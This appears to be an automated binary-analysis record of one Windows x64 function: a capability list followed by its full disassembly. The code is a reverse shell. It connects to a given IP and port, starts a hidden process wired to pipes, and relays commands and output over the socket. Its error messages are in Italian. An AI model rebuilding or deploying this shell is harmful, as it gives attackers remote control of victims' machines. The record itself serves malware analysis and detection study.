Function at 0x140001c20
Capabilities:
Connect socket
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Download and write a file
Initialize winsock library
Read and send data from client to server
Read file on windows
Read pipe
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x708
mov r13, rcx
mov ebx, edx
mov ecx, 0x202
lea rdx, [rsp + 0x160]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400020ba
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov r12, rax
test eax, eax
js 0x140002095
mov edx, 2
movzx ecx, bx
movsxd r12, r12d
mov word [rsp + 0x80], dx
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, r13
mov word [rsp + 0x82], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea rdx, [rsp + 0x80]
mov r8d, 0x10
mov rcx, r12
mov dword [rsp + 0x84], eax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x140002067
lea rdi, [rsp + 0x90]
xor r9d, r9d
mov dword [rsp + 0x90], 0x18
mov rsi, qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x60]
mov r8, rdi
mov dword [rsp + 0xa0], 1
mov qword [rsp + 0x98], 0
call rsi
test eax, eax
je 0x140001fd1
xor r8d, r8d
mov rcx, qword [rsp + 0x68]
mov edx, 1
mov rbx, qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call rbx
test eax, eax
je 0x140001fd1
xor r9d, r9d
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x70]
mov r8, rdi
call rsi
test eax, eax
je 0x140001fd1
xor r8d, r8d
mov rcx, qword [rsp + 0x70]
mov edx, 1
call rbx
test eax, eax
je 0x140001fd1
mov rax, qword [rsp + 0x60]
lea r14, [rsp + 0xd0]
mov edx, 0x55
mov qword [rsp + 0xf0], 0
mov rcx, r14
mov qword [rsp + 0x128], 0
lea rbx, [rsp + 0xf0]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x138], 0
mov dword [rsp + 0xf0], 0x68
mov dword [rsp + 0x12c], 0x100
call fcn.140001ac0
mov qword [rsp + 0x40], rbx
xor r9d, r9d
xor r8d, r8d
lea rax, [rsp + 0xb0]
mov dword [rsp + 0x28], 0x8000000
xor edx, edx
mov rcx, qword [rsp + 0xd0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400020c3
mov rsi, qword [sym.imp.WS2_32.dll_recv]
mov rdi, qword [sym.imp.KERNEL32.dll_WriteFile]
lea rbx, [rsp + 0x300]
mov rbp, qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov r13, qword [sym.imp.KERNEL32.dll_ReadFile]
nop
xor r9d, r9d
mov r8d, 0x400
mov rdx, rbx
mov rcx, r12
call rsi
mov r8d, eax
test eax, eax
jle 0x140001f40
mov rcx, qword [rsp + 0x68]
lea r9, [rsp + 0x5c]
mov rdx, rbx
mov qword [rsp + 0x20], 0
call rdi
lea r15, [rsp + 0x58]
mov rcx, qword [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x28], 0
xor edx, edx
mov qword [rsp + 0x20], r15
call rbp
test eax, eax
je 0x140001ea0
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x140001ea0
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x70]
mov r9, r15
mov rdx, rbx
mov r8d, 0x400
call r13
mov r8d, dword [rsp + 0x58]
xor r9d, r9d
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
jmp 0x140001ea0
mov rcx, qword [rsp + 0x60]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0x68]
call rbx
mov rcx, qword [rsp + 0x70]
call rbx
mov rcx, qword [rsp + 0x78]
call rbx
mov rcx, qword [rsp + 0xb0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0xb0]
call rbx
mov rcx, qword [rsp + 0xb8]
call rbx
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rsp + 0xd0]
lea rax, [rsp + 0xe0]
cmp rcx, rax
je 0x140001fbd
mov rax, qword [rsp + 0xe0]
lea rdx, [rax + 1]
call fcn.1400af330
nop
add rsp, 0x708
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [str._7_v_]
lea rdx, str.Errore_nella_creazione_delle_pipe
mov r8d, 0x21
call fcn.1400a97c0
mov rax, qword [str._7_v_]
mov rdx, qword [rax]
mov rdx, qword [rdx - 0x18]
mov r12, qword [rdx + rax + 0xf0]
test r12, r12
je 0x140002062
cmp byte [r12 + 0x38], 0
je 0x140002034
movzx eax, byte [r12 + 0x43]
mov rcx, qword [str._7_v_]
movsx edx, al
call fcn.14006c270
mov rcx, rax
call fcn.14006c460
mov ecx, 1
call sub.msvcrt.dll_exit
mov rcx, r12
call fcn.140023730
mov rax, qword [r12]
lea rdx, [0x140023bd0]
mov r8, qword [rax + 0x30]
mov eax, 0xa
cmp r8, rdx
je 0x140002013
mov edx, 0xa
mov rcx, r12
call r8
jmp 0x140002013
call fcn.1400b0000
mov rcx, qword [str._7_v_]
lea rdx, str.Errore_nella_connessione
call fcn.1400ac8d0
mov rcx, rax
call fcn.140001560
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 1
call sub.msvcrt.dll_exit
lea rdx, str.Errore_nella_creazione_del_socket
mov rcx, qword [str._7_v_]
call fcn.1400ac8d0
mov rcx, rax
call fcn.140001560
mov ecx, 1
call sub.msvcrt.dll_exit
lea rdx, str.Errore_durante_linizializzazione_di_Winsock
jmp 0x14000209c
mov rcx, qword [str._7_v_]
lea rdx, str.Errore_nella_creazione_del_processo._Codice_errore:
call fcn.1400ac8d0
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, r12
call fcn.14006d5e0
mov rcx, rax
call fcn.140001560
jmp 0x1400020b0